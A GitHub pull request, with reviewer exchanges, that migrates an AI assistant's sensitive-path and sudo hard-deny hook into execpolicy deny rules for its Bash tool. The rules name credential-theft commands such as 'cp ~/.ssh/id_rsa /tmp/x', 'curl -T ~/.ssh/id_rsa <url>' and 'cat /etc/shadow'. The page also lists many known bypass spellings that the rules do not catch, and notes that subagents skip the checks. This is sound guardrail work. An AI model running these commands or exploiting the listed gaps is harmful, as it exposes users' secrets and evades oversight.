Skip to content

fix(assistant): migrate sensitive-path/sudo hard-deny from bundle hook into execpolicy rules - #363

Merged
asto18089 merged 11 commits into
mainfrom
fix/exec-policy-migration
Sep 1, 2026
Merged

fix(assistant): migrate sensitive-path/sudo hard-deny from bundle hook into execpolicy rules#363
asto18089 merged 11 commits into
mainfrom
fix/exec-policy-migration

Conversation

@asto18089

@asto18089 asto18089 commented Aug 27, 2026

Copy link
Copy Markdown
Collaborator

Background

Segments 3 (DANGEROUS_CMDS) and 4 (sudo block while super permission is off) of the deny_sensitive_paths.sh/.ps1 ToolCallBefore hook are gated on $TOOL == "exec_shell"*. Since foundation v0.9.3 the model/execution surface only exposes the Bash tool (exec_shell* spellings moved into RETIRED_TOOL_NAMES), so the hook receives the raw name Bash and both segments silently pass — the dangerous-command and sudo firewalls are dead (segments 1/2, the path/filename substring match over the full ARGS of every tool, still fire but with a large false-positive surface). Per the agreed decision we do not patch the hook's tool-name matching (no stopgap); the policy moves into the foundation execpolicy rule engine.

Injection point

EngineConfig.exec_policy_engine (initial value injected by build_engine_config_for_session_roots; the headless L1 harness entry spawn_headless carries the same ruleset), the same channel and computation as the existing scope_deny_ruleset (connector/skill gating); the hot refresh after a toggle reuses EnginePool::refresh_permission_rulesets (Op::SetPermissionRuleset). Rationale: a typed Deny short-circuits every approval mode (including YOLO/Never); evaluation happens after the ToolCallBefore hook and before approval, so the two defense lines are independent. Coverage is bounded to main-line sessions: nested subagent tool calls do not pass through execpolicy yet (known boundary; foundation upstream item). command denies are also promoted into denied_prefixes (same semantics as the foundation config loader), activating the deny-always-wins channel with wrapper stripping / basename folding / flag-aware matching.

v1 rules vs original hook semantics

Former segment Migrated form Difference
1. SENSITIVE_DIRS path substring (all tool ARGS) viewer reads × directory spellings (~, $HOME, ${HOME}, the real home, /root × bare/trailing-slash) + blanket find <sensitive-dir> search-root deny + known credential child files (~/.ssh/config, ~/.kube/config, ~/.docker/config.json, ~/.aws/config, ~/.aws/credentials, Chrome Cookies/Login Data/Local State, ~/.gnupg/secring.gpg) + the enumerated secret-bearing child directory ~/.gnupg/private-keys-v1.d (find-root + exfil/destroy first-argument anchoring) + directory-level glob dump forms (cat ~/.ssh/*, type %userprofile%\.ssh\*) read-viewer-only reads (former substring also blocked benign commands such as ssh -i ~/.ssh/id_rsa host); general search roots stay allowed (a prefix rule there deterministically denies find's -prune/-not -path idioms)
2. SENSITIVE_NAMES filename substring viewer reads × filename spellings in their owning directories same-name files at arbitrary depth (~/project/secrets) are no longer over-blocked by substring, and not covered (registered)
3. DANGEROUS_CMDS (was already dead) viewers (cat/less/more/head/tail/base64/xxd/od/strings) × sensitive absolute files incl. the -/.bak backup spellings and the /etc/sudoers.d/* fragment glob + ssh-keygen / gpg --export-secret-keys[-subkeys] the backup spellings and fragment globs were caught by the former hook's substrings and are restored; concrete sudoers fragment names are arbitrary (containment residue, pinned); cold viewers beyond the list are not covered (token-channel limit)
4. sudo block while super permission off (was already dead) sudo/sudoedit command-word deny (covers /usr/bin/sudo, sudo -u root, chained segments, sudoedit) see the snapshot limitation below
(live substring write/exfil coverage of segments 1/2) cp/mv/scp/rsync/tar/zip/ln/ditto/curl deny when the FIRST positional (or flag-value) argument is a sensitive path, plus dd if= (read direction; of= covers the reversed overwrite order) covers the exfil direction (cp ~/.ssh/id_rsa /tmp/x, curl -T ~/.ssh/id_rsa <url>) incl. flag-prefixed forms (rsync -av ~/.ssh/ host:, zip -r a.zip ~/.ssh/ — the engine's flag-value skipping anchors both); writes INTO a sensitive path stay allowed (key rotation); flag-less BSD spelling (tar czf …) and dest-first forms without anchorable positions (7z a …, aws s3 cp …, curl --form, wget --post-file=) are registered residues
(live substring destroy/tamper coverage of segments 1/2) rm/unlink/rmdir/shred/truncate deny when the FIRST positional argument is a sensitive path (Windows: del/erase/remove-item/ri/rm/rd/rmdir/icacls/rename-item/rni + canonical cmd.exe /-flag sequences such as del /f /s /q …) anchors on the target; multi-argument rm a b covers only the first target and chmod/chown put mode/owner before the path (both argument-position residues); cmd.exe flag orders beyond the canonical sequences are a registered residue
(live Windows .ps1 segments 1/2) the same read/exfil/destroy families under Windows-native spellings: %userprofile%\/$home\/$env:userprofile\/~\ prefixes, backslash directory/child/name spellings and …\dir\* globs, the %appdata%/%localappdata%/$env: Microsoft credential & protect directories, and the resolved real home on Windows hosts (type/get-content/gc/cat/more readers; copy/xcopy/robocopy/copy-item/move/del/remove-item/rd/rmdir/icacls/rename-item commands) remaining Windows residues: generated child names under the MS credential directories, mixed- or forward-separator spellings, cmd /c nesting, other-user profiles, findstr/Invoke-WebRequest-style readers, double-quoted backslash paths (POSIX-style dequoting strips the separators), attrib +h … plus-flag-first forms, .exe-suffixed POSIX command spellings (MSYS). Doubled-backslash JSON-escaped spellings are NOT a residue: the deny-scan escape decoding folds \\ into \ (probe-verified)
.ps1 segment-3 credential command words (was already dead) cmdkey / vaultcmd / get-credential / get-storedcredential / credential-manager control invocations / rundll32 keymgr.dll,krshowkeymgr revived on the same footing as the POSIX segment 3

The hook scripts keep only segment 5 (the list_mcp_resources connector introspection correction) and the exit-2 contract comment; everything else is removed with a migration note.

sudo snapshot limitation

Rule 4 snapshots the existence of /etc/sudoers.d/pinvou3 (super_permission::is_enabled reads the disk live) when the ruleset is built: spawn injects the initial value; a mid-session toggle triggers set_super_permissionrefresh_permission_rulesets, hot-refreshing running engines so it applies from the next turn (same semantics as the connector/skill toggles). macOS/Windows are permanently in the off state.

Known narrowing (registered in v1, see the safety_deny_rules module docs)

  • argument-position readers cannot be expressed: grep PATTERN ~/.kube/config stays allowed (foundation token-channel limit); the same limit applies to multi-argument removals (rm a b covers only the first target), chmod/chown (mode/owner precedes the path), Windows findstr/Invoke-WebRequest readers, dest-first archive/upload forms without an anchorable position (7z a …, aws s3 cp …, curl --form, wget --post-file=), dd if=<any> of=<sensitive> (the varying if= blocks the prefix match), concrete sudoers fragment names, and find with the sensitive directory NOT as the first path token
  • sensitive-directory child files are covered only for the enumerated credential list plus the …/dir/* glob forms (the glob token is exact at the engine — the shell expands it); arbitrary children stay allowed: the token channel has no directory-containment primitive. ~/.ssh/known_hosts is deliberately NOT enumerated (public host-key material)
  • combinatorial-spelling residues under canonical enumeration: cmd.exe flag orders beyond the canonical sequences, name-level globs (~/.ssh/id_* — would over-block public id_rsa.pub), .exe-suffixed MSYS command spellings (cat.exe), attrib +h …, the double-quoted "${HOME}/…" spelling (the expansion drops the brace form from the word), sensitive directories nested at arbitrary depth (~/projects/.ssh/…), prefix-agnostic \microsoft\credentials locations outside the profile prefixes
  • absolute paths under other users' homes (/home/other/.ssh/…) are not enumerated; only ~, $HOME, ${HOME}, the real home and /root are spelled out
  • non-Bash tool surfaces: the former hook substring-matched the ARGS of every tool (fetch/rlm/tasks/Git/MCP…); v1 keys only on exec_shell commands and File read-family path rules. File path rules are workspace-relative only (foundation workspace normalization)
  • deliberate false-positive removals (narrower than the former hook on purpose): the substring also denied commands whose denial has no security value — touch <sensitive path> (can neither read nor destroy content) stays allowed, allow-trace pinned; re-adding such a rule requires a deliberate decision
  • nested subagents do not pass through execpolicy; concurrent super-permission toggles have a narrow stale-snapshot window

Future work

  • rule completion: grep argument-position matching, cold viewers/transcription commands, home-absolute File paths, find -name <sensitive name> under general search roots
  • foundation: teach the deny-scan to skip /-style cmd.exe flags (collapses the slash-flag enumeration) and to skip --style flags without consuming the next token; nested-subagent execpolicy wiring (foundation upstream); set_super_permission serialization
  • ruleset re-review (false-positive/false-negative surface vs the expressiveness limits of the token-prefix channel)

Review fixes

History note: the branch was rewritten into a clean commit series on the latest main; per-round SHAs below refer to their round content, not to stable SHAs. Commit subjects/bodies follow the commit-message convention (English, ≤50-character descriptions, DCO).

  • round 1: fixed a deterministic false-positive regression (find . -path idioms), de-hosted the regression tests (injectable sudo state), corrected three inaccurate claims

  • round 2: same-source regression entry scope_deny_ruleset_with, exact rule-count pinning, allow-trace for registered narrowings, doc corrections

  • round 3: restored the live-hook deny coverage the token channel can express — credential child files, blanket sensitive-root find, exfil-source commands, real-home//root spellings, extended viewers

  • round 4: probe-verified that the token channel expresses the former .ps1 live surface literally and restored it — Windows-native read/exfil/destroy families, revived .ps1 segment-3 credential command words, a new rm/unlink destroy family, and the known_hosts pinning rationale

  • round 5: re-verified every retained narrowing against the execpolicy sources; closed the expressible gaps found in the same pass (~/.gnupg/private-keys-v1.d, Chrome Local State, the ${HOME}/ spelling) and pinned/registered the reviewer-named residues

  • round 6 (commit subject reshortened to satisfy the 50-character convention, tree unchanged): Linux rust-test red was the documented hosted-runner link-phase loss, not a test failure

  • round 7: rebased onto latest main (conflict-free; the CodeWhale gitlink follows main) and completed the residue registration in the module docs

  • round 8 (77f83bf69, this head): closed the expressible coverage gaps found by a fresh five-way audit, all former hook coverage the token channel can express — cmd.exe /-flag invocation sequences (del /f /s /q …), the missing rd/rmdir destroy family, directory-level glob dump forms (cat ~/.ssh/*), the destroy/tamper extensions (rmdir/shred/truncate/touch + Windows icacls/rename-item/rni), the exfil extensions (ln/ditto/curl -T/dd if=), and the /etc/shadow[-|.bak]//etc/sudoers[-|.bak]//etc/sudoers.d/* absolute spellings; fixed two inverted doc claims (sudoers.d was a narrowing not an addition; scp -i is hook parity not an FP regression); probe-corrected two residue registrations (doubled-backslash spellings are decoded and denied, not a residue; zip -r is flag-value anchored) and re-registered the genuinely unexpressible tails (arbitrary flag orders, name-level globs, .exe command spellings, "${HOME}" quoted form, dd if=<any> of=<sensitive>, chmod/chown arg-position); added the missing allow-trace pins so every registered residue turns red on silent re-tightening; closed the spawn_headless ruleset bypass; corrected the commit-message convention violations in the rewritten history (English bodies, consistent DCO identity)

  • round 9 (310fe6647, this head): coverage-trim pass per the security-owner directive "the deny face must not exceed the former hook's security-relevant coverage": removed the one zero-value rule the round-8 parity restoration had carried (touch <sensitive path> — it can neither read nor destroy content; blocking it was pure substring parity with no interception value), registered it as a deliberate false-positive removal with an allow-trace pin, and audited every other family against the same bar (all remaining rules are either live-hook parity, original segment-3/4 intent revival, or documented intent-preserving widenings). Count 18245 → 17971

Tests

  • safety_deny_rules (10 tests): two-state sudo snapshot; sudo wrapper/path-spelling coverage and word boundaries; sensitive reads across spellings incl. the glob dump and absolute-backup forms; exfil/destroy/dd/ln/ditto/curl source vectors; cmd.exe /-flag sequences, rd/rmdir/icacls/rename-item and Windows glob forms; ordinary commands not over-denied incl. the full pinned residue set (grep arg-position, known_hosts, /home/<other>, ~/.password-store/*, gnupg key files, ls ~/.aws/, tar czf, vi, multi-target rm, chmod/chown, 7z/aws s3 cp, cat.exe, touch (deliberate FP removal), non-first find root, "${HOME}" quoted, dd if=… of=…, sudoers fragment names, findstr, mixed separators, cmd /c, attrib +h, non-canonical flag orders); two-way pin of the File workspace-normalization limit; exact ruleset count 17971 with a per-family breakdown (injected win-home None, host-independent)
  • bridge: session_exec_policy_denies_migrated_hook_targets_under_bash_tool — falsified dead-path regression (ruleset injected via scope_deny_ruleset_with with sudo off, decoupled from the host's /etc/sudoers.d/pinvou3; sudo rm / cat /etc/shadow / cat ~/.ssh/config / cp ~/.ssh/id_rsa /tmp/x → Forbidden, cat README.md passes); scope-ruleset tests assert safety-net rules are always present
  • targeted cargo test (assistant suite incl. bridge, safety_deny_rules 10/10), cargo fmt --check, python3 scripts/architecture-guard.py, ./scripts/fork-guard.sh --fast all pass locally on this head

@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch from 327a803 to 63c2e56 Compare August 27, 2026 06:11
@asto18089
asto18089 marked this pull request as draft August 27, 2026 06:22
@asto18089
asto18089 marked this pull request as ready for review August 27, 2026 06:33

@JensenChen28 JensenChen28 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes for two blockers:

  1. [P1] Preserve the sensitive-directory hard wall during the migration. The removed hook rejected sensitive path fragments across all tool arguments, including descendants such as ~/.ssh/config, ~/.kube/config, ~/.docker/config.json, arbitrary files below those directories, and reads through commands other than the small viewer allowlist. The replacement in safety_deny_rules.rs uses exact path-token matches plus a short fixed filename list for cat/less/more/head/tail; it therefore allows common bypasses such as cat ~/.ssh/config, grep ... ~/.kube/config, or a file-read tool targeting a child path. find ~/.ssh -type f is also outside the new -path/-ipath guard. This makes the deny surface materially smaller than the sections being removed. Please keep the old protection until execpolicy can express safe path-prefix/directory containment, or extend the foundation first, and add regression tests for descendant paths and alternate readers.

  2. [P2] Use English for repository collaboration text. The new Rust comments/doc comments and the PR description are Chinese. Per the repository conventions, code comments, developer documentation, diagnostics, and pull-request descriptions must be English (localized application/model content remains exempt). Please translate the newly added developer-facing text.

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes at 63c2e5687:

  1. P1 - This migration reduces the sensitive-directory hard wall. The removed hook rejected sensitive path fragments throughout the command arguments. The replacement uses exact-token path rules and a small read-viewer allowlist, so descendant reads and equivalent viewers can bypass it-for example cat ~/.ssh/config, grep pattern ~/.kube/config, find ~/.ssh -type f, and a File read of a child path. The new find handling only guards -path/-ipath; it does not restore directory containment. Please keep the existing hook until execpolicy can enforce descendant containment, or extend the foundation policy first, and add regressions for child paths and alternate read commands.
  2. P2 - Translate the PR description and the newly added developer-facing Rust comments, documentation, and assertion diagnostics to English per the repository collaboration convention.

git diff --check passes, but the current tests exercise listed exact paths rather than the bypass cases above.

@asto18089

Copy link
Copy Markdown
Collaborator Author

独立重审结论(review + 代修)

按评审流程独立重审并 rebase 到最新 main(原提交基于 ec91352,落后 #369/#367 两个提交,rebase 零冲突)。总判定:根因真实、迁移方向正确、无夹带,可合;但发现 1 个必修误拦回归与三处不实声明,已按小修改面原则代修在 4854766,请复核重审。

已核实为真

  • 根因:底座 v0.9.3 起 exec_shell* 进入 RETIRED_TOOL_NAMES(CodeWhale canonical_action.rs:198),ToolCallBefore hook 收到的是模型原始名 Bashturn_loop.rs:2502hooks/executor.rs:195),旧脚本第 3/4 段按 exec_shell* 门控确实静默失效。死防火墙复活有真实意义。
  • 方法:复用底座 execpolicy 通道(与 scope 门禁同一份 scope_deny_ruleset),denied_prefixes 提升与底座 PermissionsToml::ruleset() 逐项同语义,未造轮子。
  • 热刷set_super_permissionrefresh_permission_rulesetsOp::SetPermissionRulesetset_ruleset 整层替换;开关写入口唯一、生产 spawn 路径全部经 build_engine_config_for_session_roots 注入,无漏刷/漏注入路径。

必修(已在 4854766 代修)

  1. find -path 误拦回归(实测证伪)。denied_prefixes 是 token 级前缀匹配(denied_prefix_matches 在规则 token 耗尽即命中),原提交的 10 条通用根规则(find . -pathfind / -path 等)会确定性硬拒 find 的标准排除惯用法。实测三条常见合法用法全部被拒且 YOLO/Never 无放行出路,原 hook 均放行:

    • find . -path ./node_modules -prune -o -type f -print
    • find / -path /proc -prune -o -name '*.log' -print
    • find . -not -path './node_modules/*' -type f

    已收窄到「敏感目录本身作搜索根」的 20 条(原 hook 对同形态以尾斜杠子串也拦,面只增不减),误拦清零;ordinary_commands_are_not_over_denied 补了上述三个用例锁定。

  2. 回归测试宿主盘依赖session_exec_policy_denies_migrated_hook_targets_under_bash_tool 无 guard 读 /etc/sudoers.d/pinvou3——开了免密的 Linux 真机上 sudo rm 放行、断言必挂。已改为与 scope_deny_ruleset 同组成但以 safety_deny_rules_for(false) 注入 sudo 段;模块测试同口径封闭化(移除 sudo_rules_present 条件跳过),补开启态引擎级放行锁定(super_permission_enabled_ruleset_allows_sudo)与 sudo -l(关闭态拦,与原 hook 第 4 段词边界同口径)。

  3. 三处不实声明(模块注释/正文已改写):

    • 「先于 hook 执行」不属实:TUI 路径 execpolicy 求值在 ToolCallBefore hook(turn_loop.rs:2476)之后、审批之前(:2713),两道防线互不依赖;
    • 「天然覆盖嵌套子代理」不属实:生产路径唯一的 engine.check 在主线 turn_loop/composer,子代理走 NestedAgentToolExecutortool.execute 不经 execpolicy,YOLO 下子代理不受本规则约束;
    • 「面不小于原 hook」「原 hook 只拦得住查看泄露」与事实矛盾:活着的第 1/2 段以全 ARGS 子串连写/转写向量(cp/tar/rsync ~/.ssh)一并拦,v1 只拦只读查看器,是整体收窄。

已补披露(模块注释「已知语义差异」+ 正文新增小节)

写/转写向量、非 $HOME 绝对路径、敏感目录子路径(~/.kube/config~/.docker/config.json、Chrome Cookies——原注释「子路径由文件级规则补」只对 ~/.ssh 五个键名成立)、非 Bash 工具面(原第 1/2 段对所有工具 ARGS 生效)、Windows 面整体未迁移(原 .ps1 活着的第 1/2 段 %appdata%\microsoft\credentials/protectcmdkey/vaultcmd 等凭证命令词;Windows 上 Bash 工具默认经 pwsh/cmd,模型写原生拼写不命中)、并发连打 sudo 开关的陈旧快照窗口。另修 hook 脚本错别字(「扸能型」→「技能型」,U+62B8→U+6280)与四处陈旧注释(bridge.rs hook 注入说明 / runtime_bundle/platform/mod.rs / super_permission.rs / l1_dialog_harness.rs)。

验证

  • 双子模块交叉验证:修改分别在 0d89a31b(main gitlink)与 feb8761a(本 PR gitlink,即 CI 真实组合)下跑 safety_deny_rules 6/6 + bridge 回归,全绿;cargo fmt --check、arch-guard、fork-guard --fast 过。
  • 一个与本项目无关的本地现象说明:把本 PR 的父代码与新 r11 子模块工作树直接组合编译,forkguard_openai_compatible_route_uses_declared_limits 会挂——chore(codewhale): sync r11 public baseline #367 已在本 PR 基点之后把该测试期望 56_570→45_648,属本地 checkout 错配产物;CI 用本 PR 自己的 gitlink,合并队列取 main 侧测试,不受影响。

遗留登记(不阻塞,建议 follow-up)

  • Windows 原生拼写与凭证命令词规则补齐(反斜杠/%USERPROFILE% 变体、cmdkey/vaultcmd/get-credential 等)
  • 嵌套子代理 execpolicy 接入(需底座在子代理执行器加 check,upstream)
  • set_super_permission 串行化消除 TOCTOU 窗口
  • grep 参数位与通用搜索根下 find -name <敏感名> 覆盖(token 通道表达边界)

@asto18089
asto18089 force-pushed the fix/exec-policy-migration branch from 4854766 to 0f4fa60 Compare August 28, 2026 03:07
@asto18089

Copy link
Copy Markdown
Collaborator Author

审阅结论(六路审计 + 已代修)

结论:真正解决了根因,方案优雅、零夹带,无阻塞缺陷。已 rebase 到最新 main(0af69ed64,零冲突)并代修二轮问题(0f4fa601c),等协作者审查。

六路审计覆盖:底座 execpolicy 语义逐条核对(denied_prefixes 提升/canonical alias/路径归一化/求值顺序/子代理边界,全部 CONFIRMED 且与底座 PermissionsToml::ruleset() 提升条件逐字等价)、原 hook 全量对照、注入通道完整性(spawn + 热刷为全仓仅有的两条路径,无生产漏注入)、测试质量静态审计、架构边界与 fork 登记义务(无登记义务,fork-guard 92 指纹全过)、回归风险推演(既有 scope 规则提升后无新误伤实例,参数位精确匹配保证不误拦)。

独立验证:safety_deny_rules 6 + bridge::tests 89 全绿(本机 SIGBUS 用 CARGO_INCREMENTAL=0 绕过),fork-guard --fast / architecture-guard 通过。

已代修(0f4fa601c)

  1. 回归测试与生产同源化:原测试手工复制 scope_deny_ruleset 组成(cli + skill + safety + promotion),“与生产完全一致”仅靠注释维持,生产增删规则源时测试会假绿。生产改为可注入入口 scope_deny_ruleset_with(session_id, safety_rules),回归测试直接走它注入 safety_deny_rules_for(false)——组成天然同源。
  2. hook 头注释失实修正:sh 说“先于审批/hook 执行,覆盖嵌套子代理”,与模块注释及本 PR review-fix 自己修正过的声明直接矛盾(实为 hook 之后、审批之前;嵌套子代理不覆盖);ps1 说“曾是 sudo 硬拦截防火墙”,但原 ps1 从无 sudo 段。
  3. 已知差异清单补齐(safety_deny_rules 模块注释):目录列举/元数据命令(ls ~/.ssh/stat/tree/du——原第 1 段活面,v1 放行);敏感目录根 + 尾斜杠拼写的 find -name 形态(原被尾斜杠子串拦;实测无尾斜杠拼写原 hook 本就不拦,两版一致);heredoc 体行首命中规则的过拦(底座段级扫描宁可过拦的固有取向,规则 3 复活后开始命中)。
  4. “只增不减”措辞澄清(find 规则注释):相对 -path/-ipath 同形态成立,相对原尾斜杠子串的全部 find/列举面是收窄。
  5. 测试强化:规则快照断言从 >=100 改为精确 assert_eq!(459)(原弱断言允许静默丢 ~78% 规则),并注明其中 20 条是规则 1/规则 3 跨段重复(未来加去重降到 439 属预期);已登记收窄补 allow 留痕(cp ~/.ssh/id_rsa /tmp/xcat /root/.ssh/id_rsacat ~/.kube/configls ~/.aws/),防止未来被无意识拦回而测试不红;更新两处过时的“敏感目录防火墙”断言文案与 bridge.rs hook 注释。
  6. 其他safety_deny_rules 收敛为 pub(crate)(仅 crate 内消费,tool_policy 先例);promotion helper 注释登记与底座加载器的 trusted 不对称(当前输入全 Deny 故等价,混入 Allow 时偏保守);sudo 段注释登记 macOS 自配 NOPASSWD 口子收敛;docs/底座升级验收清单.md 3.1 行同步(hook 硬墙职责已迁 execpolicy,验收点改为 hook 契约 + execpolicy 注入通道双查)。

保留给作者的取舍(已登记,无需动作)

  • 旧测试名 engine_config_registers_sensitive_firewall_hook 保留:hook 生产注册名就叫 pinvou3-sensitive-firewall,测试名与注册名对应仍真,只改了失实文案;若想连同 hook 注册名一起改名(涉及 build_hooks_config),建议独立小 PR。
  • Windows 原生拼写、grep 参数位、列举类查看器等规则完善仍是 PR 已登记的 future work;嵌套子代理接入 execpolicy 是底座 upstream 项。

验证:定向 cargo test(safety_deny_rules / bridge::tests)+ cargo fmt + architecture-guard + fork-guard --fast 全过。

@asto18089

Copy link
Copy Markdown
Collaborator Author

Adjudication of the agent-audit suggestions (both reviews) + fixes pushed

Head is now 8e5387f11. I verified every claim against the engine (probe tests against the composed ruleset) before fixing. Per-suggestion verdict:

P1 "the migration reduces the sensitive-directory hard wall" — substantively valid, one example wrong, remedy adjusted

Confirmed as real regressions vs the live hook (probe-verified allowed before this fix, denied now; the former live segments 1/2 substring-matched every tool's ARGS):

  • cat ~/.ssh/config → now denied (known credential child files enumerated: ~/.ssh/config, ~/.kube/config, ~/.docker/config.json, ~/.aws/config, ~/.aws/credentials, Chrome Default/Cookies + Default/Login Data, ~/.gnupg/secring.gpg)
  • grep … ~/.kube/configstill allowed, deliberately: grep's sensitive path sits behind a non-flag positional token (PATTERN), which ends a denied_prefix_matches match — the foundation token channel cannot express argument-position matching. Pinned as an allow-trace test + module-doc residue (same for /home/<other>/.ssh/…, unenumerated children, non-Bash tool ARGS, and the live-Windows .ps1 spellings).
  • a File read of a child path → stays allowed (foundation workspace normalization makes home-absolute File paths unmatchable); registered.
  • exfil vectors the hook denied and v1 had dropped are restored at first-argument anchoring: cp/mv/scp/rsync/tar/zip with a sensitive path as the first positional argument, including flag-prefixed forms (cp -a …, rsync -av ~/.ssh/ host:, tar -cf out.tgz ~/.ssh/, scp -i key …). Writes INTO a sensitive path stay allowed (key rotation). Flag-less BSD spelling (tar czf …) is a registered residue.
  • find ~/.ssh -type f → now denied outright: find with a sensitive directory as its first path token is denied regardless of the following expression (-type/-name/-maxdepth, trailing-slash spellings, and leading global options like find -L ~/.ssh … via flag skipping). Correction to both reviews: this specific spelling was NOT a regression — the former hook's substring required the trailing slash (/.ssh/), so find ~/.ssh -type f passed before the migration too (only find ~/.ssh/ … was caught). It is a fair coverage-strengthening case, now covered.
  • additionally restored to hook parity: real-home absolute spellings (/Users/me/.ssh/… — the former substring matched those too) and /root/…; read viewers extended with base64/xxd/od/strings (the hook's substring denied all readers).

On the remedy: keeping the live hook segments 1/2 alongside the ruleset would preserve the full substring surface but also its measured false positives (ssh -i ~/.ssh/id_rsa host, cat docs/id_rsa-rotation.md were hard-denied with no approval way out) and would contradict the agreed direct-migration decision; "extend the foundation first" is an upstream work item. So the fix restores every vector the token channel can express without reintroducing those false positives — on the Bash+File surface the ruleset is no longer narrower than the live hook except for the registered residues above, each pinned by an allow-trace test so a silent future re-tightening/re-loosening turns red. Regression tests for descendant paths and alternate readers added (deny + allow sides, plus the bridge migrated-hook regression now carries the audit samples cat ~/.ssh/config / cp ~/.ssh/id_rsa /tmp/x).

P2 "use English for repository collaboration text" — valid per CONTRIBUTING, fixed

CONTRIBUTING: "Use English for branches, issues, pull requests, commits, code comments, developer documentation, and diagnostics. Existing history and localized resources are exempt." Fixed in this head: all new/rewritten Rust comments, doc comments, and test diagnostics translated (including safety_deny_rules.rs in full); the rewritten hook-script headers translated; the PR description rewritten in English. Deliberately kept Chinese under the exemption: the pre-existing hook segment-5 runtime copy (localized model-facing feedback, unchanged by this PR) and the acceptance-checklist row (an edit inside a pre-existing Chinese doc, kept coherent with the doc).

Verification

safety_deny_rules 7 tests (pinned exact count now 2539, breakdown in the test), bridge suite, cargo fmt --check, architecture-guard, fork-guard --fast all green. One unrelated pre-existing failure (code_session_tool_shaping_hides_present_artifact_only_for_code_sessions) reproduces on the pristine head in this sandbox and is environment-dependent, not from this change.

@zhuowp zhuowp left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review of 8e5387f11:

  1. [P1] The live sensitive-path hard wall is still weakened, especially on Windows and for positional readers. The new rules restore several enumerated cases, but the branch still deletes hook segments 1/2 even though the replacement deliberately allows cases those live segments deny. The new test now explicitly asserts that grep secret ~/.kube/config and cat ~/.ssh/known_hosts are allowed; both commands contain the former POSIX sensitive-directory substring and are blocked on main. More seriously, the PowerShell hook's still-live Windows path coverage (%APPDATA%\Microsoft\Credentials, %LOCALAPPDATA%\Microsoft\Protect, backslash .ssh/.kube paths, etc.) is removed wholesale while safety_deny_rules.rs documents that Windows-native spellings are not migrated. On Windows the Bash surface executes through pwsh/cmd, so this is a real protection regression, not documentation-only residue.

Please do not remove the live segment-1/2 coverage until the replacement can enforce directory containment / sensitive paths across argument positions and Windows-native spellings, or extend the foundation policy channel first and add deny regressions for these cases. If narrowing the security boundary is an intentional product decision, it needs explicit security-owner sign-off rather than being accepted through an allow-trace test in this migration PR.

The P2 collaboration-language issue is resolved, and the spawn/hot-refresh wiring plus the newly enumerated deny cases look correct. git diff --check and the current required checks are green; the remaining blocker is the intentionally retained loss of hard-deny coverage.

@JensenChen28 JensenChen28 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review of 8e5387f11: the English collaboration-text issue is fixed, and the expanded execpolicy rules cover the newly enumerated credential files, sensitive-root find, and exfil-source cases. The P1 security blocker remains, however: this head still deletes the live segment-1/2 hook while explicitly allowing cases that main denies (grep secret ~/.kube/config, cat ~/.ssh/known_hosts, arbitrary sensitive-directory descendants, and absolute File reads). It also removes the PowerShell hook’s live %APPDATA%\\Microsoft\\Credentials / Protect and backslash-path protection while documenting that Windows-native spellings are not migrated. Please retain live segment-1/2 coverage until execpolicy supports directory containment, arbitrary argument positions, File absolute paths, and Windows-native paths, or extend the foundation channel first. An intentional hard-wall narrowing needs explicit security-owner approval rather than an allow-trace regression.

@asto18089

Copy link
Copy Markdown
Collaborator Author

Adjudication of review round 4 (both reviews) + fix pushed

Head is now c5bcaf75b. I verified every claim against the former hook sources and the engine (probe tests against the composed ruleset) before acting. Per-claim verdict:

Claim A — "the live Windows .ps1 segment-1/2 coverage is removed while documented as not migrated" — observation correct, and now fixed

Both reviews are right that this was a real regression and not documentation-only residue: I re-read deny_sensitive_paths.ps1 at main and confirmed segments 1/2 are ungated (they fire for every tool) and carry %appdata%\microsoft\credentials/protect, %userprofile%\.ssh, $home\.ssh, all backslash/mixed directory spellings, and the bare filename substrings. Last round I registered this as future work without checking expressibility — that was over-conservative.

Probe tests against the composed ruleset show the token channel does express these spellings: the engine lowercases and never expands environment variables or ~, so %USERPROFILE%\.ssh, $env:USERPROFILE\.ssh, ~\.ssh, and resolved C:\Users\me\.ssh tokens match literal rule tokens; type/get-content/gc are not wrapper-stripped and anchor fine. The remedy "retain the hook until execpolicy supports Windows-native paths" therefore rests on a premise that no longer holds. Fixed in this head instead:

  • Windows-native read/exfil/destroy families over %userprofile%\, $home\, $env:userprofile\, ~\ prefixes: backslash directory/child/name spellings, the %appdata%/%localappdata%/$env: Microsoft credential & protect directories, with Windows readers (type, get-content, gc, cat, more) and Windows copy/remove commands (copy, xcopy, robocopy, copy-item, move, del, remove-item, plus the pwsh aliases cp/mv/scp/tar/zip).
  • Resolved real-home spellings (C:\Users\me\...) via an injectable backslash-home prefix; production derives it from the host environment (win_real_home_prefix), tests inject a fixed value so the pinned rule count stays host-independent.
  • Revived the dead .ps1 segment-3 credential command words on the same footing the POSIX segment 3 was revived: cmdkey, vaultcmd, get-credential, get-storedcredential, control[/control.exe] /name microsoft.credentialmanager, rundll32 keymgr.dll,krshowkeymgr.
  • Remaining Windows residues, registered: generated child names under the MS Credentials directory (containment limit), doubled-backslash JSON-escaped spellings (the hook matched the raw escaped ARGS; the engine sees the decoded command), cmd /c-style nesting, other users' profiles (C:\Users\<other>\...), findstr/Invoke-WebRequest-style argument-position readers.

Claim B — a new unregistered narrowing found during this pass: destroy vectors

Re-walking the live substring surface end to end turned up one more expressible vector neither review named: the former hook denied deleting sensitive paths (rm ~/.ssh/id_rsa, rm -rf ~/.ssh/), and v1 had no rm family. Added rm/unlink (Windows: del/erase/remove-item/ri/rm) as first-argument destroy denies, same anchoring as exfil; exact-token matching keeps rm docs/id_rsa-rotation.md and rm -rf ./build allowed (tested).

Claim C — "grep secret ~/.kube/config and cat ~/.ssh/known_hosts are allowed while main denies them" — factually true; grep stays a registered limit, known_hosts stays a deliberate allow with its rationale now stated

